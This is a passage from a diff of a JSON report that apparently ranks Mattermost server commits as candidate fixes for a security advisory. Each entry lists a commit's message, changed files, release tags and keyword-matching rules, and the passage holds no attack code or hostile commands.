"v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27160", + "relevance": 2 + } + ] + }, + { + "commit_id": "a695a755f6879d633f96aabe0ff9fc9e336c5f72", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720681977, + "hunks": 1, + "message": "Update .server/gitignore to ignore all JSON files under the directory (#27593)", + "changed_files": [ + "server/.gitignore" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27593": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27593", + "relevance": 2 + } + ] + }, + { + "commit_id": "5d7027a17242f9172056171dff4de01cacdbff08", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720620776, + "hunks": 6, + "message": "MM-58776 - Change Ancillary Permissions API to POST (#27504) * make /ancillary a post * remove get from client, fix tests * Update permissions.yaml", + "changed_files": [ + "api/v4/source/permissions.yaml", + "server/channels/api4/permission.go", + "server/public/model/client4.go", + "webapp/platform/client/src/client4.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27504": "Remove deprecated function #27605" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27504", + "relevance": 2 + } + ] + }, + { + "commit_id": "485dc64c5f2ac406ec7d05a066a1629693869fe5", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720534834, + "hunks": 5, + "message": "add hover state to accordions and tweaks styles (#27577)", + "changed_files": [ + "webapp/channels/src/components/admin_console/workspace-optimization/dashboard.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27577": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: console", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27577", + "relevance": 2 + } + ] + }, + { + "commit_id": "0e6bfbdd261ef983c69f30ef6d1000c12a1e3726", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720466721, + "hunks": 10, + "message": "[MM-57963] Log Name and DisplayName of groups (#26836)", + "changed_files": [ + "server/public/model/builtin.go", + "server/public/model/builtin_test.go", + "server/public/model/group.go", + "server/public/model/group_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "26836": "[MM-58004] Update logged fields of users #26860" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 26836", + "relevance": 2 + } + ] + }, + { + "commit_id": "db45c0132ee71367d41d11a806c65a7ac1d3c5a4", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720411885, + "hunks": 6, + "message": "MM-57824: Export/import custom status (#27361) https://mattermost.atlassian.net/browse/MM-57824 ```release-note NONE ``` Co-authored-by: Mattermost Build ", + "changed_files": [ + "server/channels/app/export.go", + "server/channels/app/export_test.go", + "server/channels/app/import_functions.go", + "server/channels/app/imports/import_types.go", + "server/i18n/en.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27361": "Added support for custom status in bulk export/import mattermost/docs#7327" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27361", + "relevance": 2 + } + ] + }, + { + "commit_id": "b596430920a3d95ce270b14497de6e6ef918ab46", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720180427, + "hunks": 2, + "message": "Orders results of the GetAll remote clusters store method (#27548)", + "changed_files": [ + "server/channels/api4/remote_cluster_test.go", + "server/channels/store/sqlstore/remote_cluster_store.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27548": "Skips flaky test on the remote cluster API #27547" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27548", + "relevance": 2 + } + ] + }, + { + "commit_id": "e5a3dd7fea9684f3f3702f288156b68cea8477a1", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720164841, + "hunks": 83, + "message": "Add platform information for push notification metrics (#27460) * Add platform information for push notification metrics * Address feedback * Add the client platform returned by the devices to the normalize function * Add \"no platform\" platform label to distinguish from unknown", + "changed_files": [ + "server/channels/api4/system.go", + "server/channels/app/app_iface.go", + "server/channels/app/expirynotify.go", + "server/channels/app/notification.go", + "server/channels/app/notification_push.go", + "server/channels/app/opentracing/opentracing_layer.go", + "server/channels/app/post.go", + "server/channels/app/post_acknowledgements.go", + "server/channels/app/reaction.go", + "server/channels/app/web_broadcast_hooks.go", + "server/channels/wsapi/system.go", + "server/einterfaces/metrics.go", + "server/einterfaces/mocks/MetricsInterface.go", + "server/enterprise/metrics/metrics.go", + "server/public/model/notification.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27460": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27460", + "relevance": 2 + } + ] + }, + { + "commit_id": "6bbf7bbb9fb0007a731f44025f5cb4caab1251b1", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720122998, + "hunks": 21, + "message": "Update Packet metadata generation based on feedback (#27490)", + "changed_files": [ + "server/channels/app/plugin_api.go", + "server/public/model/metadata.go", + "server/public/model/metadata_test.go", + "server/public/model/packet_metadata.go", + "server/public/model/packet_metadata_test.go", + "server/public/plugin/api.go", + "server/public/plugin/api_timer_layer_generated.go", + "server/public/plugin/client_rpc_generated.go", + "server/public/plugin/plugintest/api.go", + "server/public/pluginapi/system.go", + "server/public/pluginapi/system_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27490": "Update Packet metadata generation based on feedback mattermost/mattermost-plugin-user-survey#49 Metadata in report mattermost/mattermost-plugin-user-survey#48 v9.11 Changelog mattermost/docs#7284" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: time, test, system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27490", + "relevance": 2 + } + ] + }, + { + "commit_id": "0e6ed3d4902a6183851be64be1b8496d63dc903c", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720022054, + "hunks": 3, + "message": "[MM-58686] Adjust text alignment on custom status tooltip (#27353) * Change: Adjust text alignment on custom status tooltip Change: Update 'Today' expiry time calculation on custom_status_modal * Change: Use display inline-block instead of flex for custom-status class --------- Co-authored-by: Mattermost Build ", + "changed_files": [ + "webapp/channels/src/components/custom_status/custom_status.scss", + "webapp/channels/src/components/custom_status/custom_status_emoji.tsx", + "webapp/channels/src/components/custom_status/custom_status_modal.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27353": "[MM-27420] Enlarge emojis to tooltips for custom statuses #27420 #27478" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: time", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27353", + "relevance": 2 + } + ] + }, + { + "commit_id": "213ebc57fb09ac0159ea18af0f32d1b1cc1ac9b2", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719921517, + "hunks": 10, + "message": "Print panic message when mmctl panics (#27390)", + "changed_files": [ + "server/cmd/mmctl/commands/root.go", + "server/cmd/mmctl/commands/root_test.go", + "server/cmd/mmctl/printer/printer.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27390": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27390", + "relevance": 2 + } + ] + }, + { + "commit_id": "a3c1272cb6f8d96b42f15d22d87fd66bf5393b5c", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719920970, + "hunks": 1, + "message": "chore(api redoc): remove api/redoc-static.html (#27500) The orphaned file unexpectedly introduced in the old PR in 2020 can now be removed as it originally is orphaned and not referenced at all. - mattermost/mattermost-api-reference PR 503 Signed-off-by: Takuya Noguchi ", + "changed_files": [ + "api/redoc-static.html" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27500": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27500", + "relevance": 2 + } + ] + }, + { + "commit_id": "d0c4e820a4dbad71273290f80e2ec622586c85ed", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719857138, + "hunks": 11, + "message": "[MM-58840] Add routing restrictions (#27482)", + "changed_files": [ + "e2e-tests/cypress/tests/integration/channels/enterprise/system_console/group_configuration_spec.js", + "e2e-tests/cypress/tests/integration/channels/enterprise/system_console/team_members_spec.js", + "e2e-tests/cypress/tests/integration/channels/system_console/user_management_spec.js", + "webapp/channels/src/components/admin_console/admin_definition.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27482": "Automated cherry pick of #27482 #27517 Automated cherry pick of #27482 #27518 Automated cherry pick of #27482 #27519 Automated cherry pick of #27482 #27520" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: configuration, console, test, system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27482", + "relevance": 2 + } + ] + }, + { + "commit_id": "f12eb75d256084527bf135640501142fd41ca876", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719608294, + "hunks": 229, + "message": "MM-54416: Channel Bookmarks Web UI (#25889) Co-authored-by: Mattermost Build Co-authored-by: Elias Nahum Co-authored-by: Miguel de la Cruz Co-authored-by: Scott Bishel ", + "changed_files": [ + "e2e-tests/cypress/tests/integration/channels/channel/channel_bookmarks_spec.ts", + "webapp/channels/src/actions/channel_actions.ts", + "webapp/channels/src/actions/channel_bookmarks.ts", + "webapp/channels/src/actions/file_actions.ts", + "webapp/channels/src/actions/websocket_actions.jsx", + "webapp/channels/src/components/admin_console/license_settings/__snapshots__/license_settings.test.tsx.snap", + "webapp/channels/src/components/admin_console/openid_convert/__snapshots__/openid_convert.test.tsx.snap", + "webapp/channels/src/components/channel_bookmarks/bookmark_create_modal.scss", + "webapp/channels/src/components/channel_bookmarks/bookmark_delete_modal.tsx", + "webapp/channels/src/components/channel_bookmarks/bookmark_dot_menu.tsx", + "webapp/channels/src/components/channel_bookmarks/bookmark_icon.tsx", + "webapp/channels/src/components/channel_bookmarks/bookmark_item.tsx", + "webapp/channels/src/components/channel_bookmarks/channel_bookmarks.scss", + "webapp/channels/src/components/channel_bookmarks/channel_bookmarks.tsx", + "webapp/channels/src/components/channel_bookmarks/channel_bookmarks_create_modal.tsx", + "webapp/channels/src/components/channel_bookmarks/channel_bookmarks_plus_menu.tsx", + "webapp/channels/src/components/channel_bookmarks/create_modal_name_input.tsx", + "webapp/channels/src/components/channel_bookmarks/index.ts", + "webapp/channels/src/components/channel_bookmarks/utils.ts", + "webapp/channels/src/components/channel_view/__snapshots__/channel_view.test.tsx.snap", + "webapp/channels/src/components/channel_view/channel_view.tsx", + "webapp/channels/src/components/emoji_picker/components/emoji_picker_custom_emoji_button.tsx", + "webapp/channels/src/components/emoji_picker/emoji_picker.tsx", + "webapp/channels/src/components/emoji_picker/emoji_picker_overlay/emoji_picker_overlay.tsx", + "webapp/channels/src/components/emoji_picker/emoji_picker_tabs.tsx", + "webapp/channels/src/components/error_page/__snapshots__/error_link.test.tsx.snap", + "webapp/channels/src/components/external_link/__snapshots__/external_link.test.tsx.snap", + "webapp/channels/src/components/external_link/index.tsx", + "webapp/channels/src/components/file_attachment/__snapshots__/filename_overlay.test.tsx.snap", + "webapp/channels/src/components/file_attachment/file_attachment.tsx", + "webapp/channels/src/components/file_attachment/file_thumbnail/file_thumbnail.tsx", + "webapp/channels/src/components/file_search_results/__snapshots__/file_search_result_item.test.tsx.snap", + "webapp/channels/src/components/file_search_results/file_search_result_item.tsx", + "webapp/channels/src/components/integrations/__snapshots__/abstract_command.test.tsx.snap", + "webapp/channels/src/components/integrations/__snapshots__/abstract_outgoing_webhook.test.tsx.snap", + "webapp/channels/src/components/integrations/installed_oauth_apps/__snapshots__/installed_oauth_apps.test.tsx.snap", + "webapp/channels/src/components/integrations/installed_outgoing_webhooks/__snapshots__/installed_outgoing_webhooks.test.tsx.snap", + "webapp/channels/src/components/integrations/outgoing_oauth_connections/__snapshots__/installed_outgoing_oauth_connections.test.tsx.snap", + "webapp/channels/src/components/menu/menu.tsx", + "webapp/channels/src/components/plugin_marketplace/marketplace_item/marketplace_item_plugin/__snapshots__/marketplace_item_plugin.test.tsx.snap", + "webapp/channels/src/components/post_view/message_attachments/message_attachment/__snapshots__/message_attachment.test.tsx.snap", + "webapp/channels/src/components/product_notices_modal/__snapshots__/product_notices.test.tsx.snap", + "webapp/channels/src/components/signup/__snapshots__/signup.test.tsx.snap", + "webapp/channels/src/components/widgets/inputs/input/input.tsx", + "webapp/channels/src/components/widgets/menu/menu_items/menu_item_external_link.test.tsx", + "webapp/channels/src/components/youtube_video/__snapshots__/youtube_video.test.tsx.snap", + "webapp/channels/src/i18n/en.json", + "webapp/channels/src/packages/mattermost-redux/src/action_types/channel_bookmarks.ts", + "webapp/channels/src/packages/mattermost-redux/src/action_types/index.ts", + "webapp/channels/src/packages/mattermost-redux/src/actions/channel_bookmarks.ts", + "webapp/channels/src/packages/mattermost-redux/src/reducers/entities/channel_bookmarks.ts", + "webapp/channels/src/packages/mattermost-redux/src/reducers/entities/files.ts", + "webapp/channels/src/packages/mattermost-redux/src/reducers/entities/index.ts", + "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_bookmarks.ts", + "webapp/channels/src/packages/mattermost-redux/src/store/initial_state.ts", + "webapp/channels/src/utils/constants.tsx", + "webapp/channels/src/utils/emoji_utils.tsx", + "webapp/channels/src/utils/file_utils.tsx", + "webapp/channels/src/utils/markdown/renderer.tsx", + "webapp/channels/src/utils/url.tsx", + "webapp/platform/client/src/client4.ts", + "webapp/platform/types/src/channel_bookmarks.ts", + "webapp/platform/types/src/client4.ts", + "webapp/platform/types/src/store.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "25889": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: connection, console, test, file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 25889", + "relevance": 2 + } + ] + }, + { + "commit_id": "a5d263f26ccd1803abbd485bcda70b8bb22ab428", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719593863, + "hunks": 2, + "message": "MM-58496 - Updating channel font size (#27445) * MM-58496 - Updating channel font size * Updating lineheight", + "changed_files": [ + "webapp/channels/src/sass/components/_post.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27445": "[MM-58496] Change post messages font size #27399" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: size", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27445", + "relevance": 2 + } + ] + }, + { + "commit_id": "60c5bb46dfa8192efa5a13c746423f0e7696b8bc", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719583070, + "hunks": 10, + "message": "MM-58854 Update how Compass icons are referenced by AnnouncementBar (#27461) (#27488) Automatic Merge", + "changed_files": [ + "webapp/channels/src/components/advanced_text_editor/advanced_text_editor.scss", + "webapp/channels/src/components/announcement_bar/__snapshots__/text_dismissable_bar.test.tsx.snap", + "webapp/channels/src/components/announcement_bar/default_announcement_bar/announcement_bar.tsx", + "webapp/channels/src/components/announcement_bar/text_dismissable_bar.tsx", + "webapp/channels/src/components/status_dropdown/status_dropdown.scss", + "webapp/channels/src/sass/components/_announcement-bar.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27461": "Automated cherry pick of #27461 #27488", + "27488": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.10.0", + "@mattermost/types@9.10.0", + "v9.10.0", + "v9.10.0-rc3", + "v9.10.1", + "v9.10.1-rc1", + "v9.10.1-rc2", + "v9.10.1-rc3", + "v9.10.2", + "v9.10.2-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27461, 27488", + "relevance": 2 + } + ] + }, + { + "commit_id": "4f2aacf9d791cfc64443a647d98098cc06623bbe", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721163727, + "hunks": 19, + "message": "make GM merge work", + "changed_files": [ + "server/channels/app/app_iface.go", + "server/channels/app/opentracing/opentracing_layer.go", + "server/channels/app/user.go", + "server/channels/store/opentracinglayer/opentracinglayer.go", + "server/channels/store/retrylayer/retrylayer.go", + "server/channels/store/sqlstore/channel_store.go", + "server/channels/store/store.go", + "server/channels/store/storetest/mocks/ChannelStore.go", + "server/channels/store/timerlayer/timerlayer.go", + "server/public/model/channel.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: time, test", + "relevance": 4 + } + ] + }, + { + "commit_id": "e3bde41ed77739e13a64a024394a6b1793f890fe", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720833920, + "hunks": 57, + "message": "Remove usage of defaultProps from functional components", + "changed_files": [ + "webapp/channels/src/components/common/back_button.tsx", + "webapp/channels/src/components/custom_status/custom_status_text.tsx", + "webapp/channels/src/components/custom_status/expiry_time.tsx", + "webapp/channels/src/components/emoji/render_emoji.tsx", + "webapp/channels/src/components/error_page/error_link.tsx", + "webapp/channels/src/components/file_preview_modal/file_preview_modal_main_actions/file_preview_modal_main_actions.tsx", + "webapp/channels/src/components/overlay_trigger.tsx", + "webapp/channels/src/components/purchase_modal/icon_message.tsx", + "webapp/channels/src/components/search/search.tsx", + "webapp/channels/src/components/search_bar/search_bar.tsx", + "webapp/channels/src/components/search_results/search_results.tsx", + "webapp/channels/src/components/sidebar/sidebar_category/sidebar_category.tsx", + "webapp/channels/src/components/sidebar/sidebar_category_header.tsx", + "webapp/channels/src/components/sidebar/unread_channel_indicator/unread_channel_indicator.tsx", + "webapp/channels/src/components/widgets/admin_console/admin_panel_togglable.tsx", + "webapp/channels/src/components/widgets/admin_console/admin_panel_with_button.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: time, console, file", + "relevance": 4 + } + ] + }, + { + "commit_id": "f7b12d39c0e0778d72576026136de7f351fc9a1a", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720821657, + "hunks": 21, + "message": "Force React version to 18", + "changed_files": [ + "webapp/channels/package.json", + "webapp/package-lock.json", + "webapp/package.json", + "webapp/platform/components/package.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: version", + "relevance": 4 + } + ] + }, + { + "commit_id": "b02b97eeb03b6d87e06ac8c6417e6c740d0ef17f", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720788030, + "hunks": 6, + "message": "Update npm packages versions for release-9.11", + "changed_files": [ + "webapp/channels/package.json", + "webapp/package-lock.json", + "webapp/platform/client/package.json", + "webapp/platform/types/package.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: version", + "relevance": 4 + } + ] + }, + { + "commit_id": "2afc122ff72c0524b58367243a74aa53a74a72c2", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720175227, + "hunks": 8, + "message": "Ignore performance counts if notifications are blocked by the device", + "changed_files": [ + "server/channels/api4/system.go", + "server/channels/api4/user.go", + "server/channels/app/app_iface.go", + "server/channels/app/notification_push.go", + "server/channels/app/opentracing/opentracing_layer.go", + "server/channels/app/session.go", + "server/public/model/session.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: system", + "relevance": 4 + } + ] + }, + { + "commit_id": "573810805593673c5636f47dadc0878ede14adda", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720035985, + "hunks": 2, + "message": "lint", + "changed_files": [ + "webapp/channels/src/packages/mattermost-redux/src/reducers/entities/posts.test.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + } + ] + }, + { + "commit_id": "af35818df97005efd3dd6e38266696d6f7e2e800", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719596373, + "hunks": 14, + "message": "fix searchlayer stuff", + "changed_files": [ + "server/channels/app/file.go", + "server/channels/store/searchlayer/file_info_layer.go", + "server/channels/store/searchlayer/post_layer.go", + "server/channels/store/searchtest/file_info_layer.go", + "server/channels/store/searchtest/post_layer.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file, test", + "relevance": 4 + } + ] + }, + { + "commit_id": "c0a7a19294f10133a23fa0301971b2a8037bb4b7", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721231521, + "hunks": 5, + "message": "MM-58527 - Fixing overflow issue for autocomplete (#27479) * MM-58527 - Fixing overflow issue for autocomplete * MM-58527 - Fixing overflow issue on autocomplete", + "changed_files": [ + "webapp/channels/src/components/widgets/header/header.scss", + "webapp/channels/src/sass/base/_structure.scss", + "webapp/channels/src/sass/components/_post.scss", + "webapp/channels/src/sass/layout/_content.scss", + "webapp/channels/src/sass/layout/_headers.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27479": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27479", + "relevance": 2 + } + ] + }, + { + "commit_id": 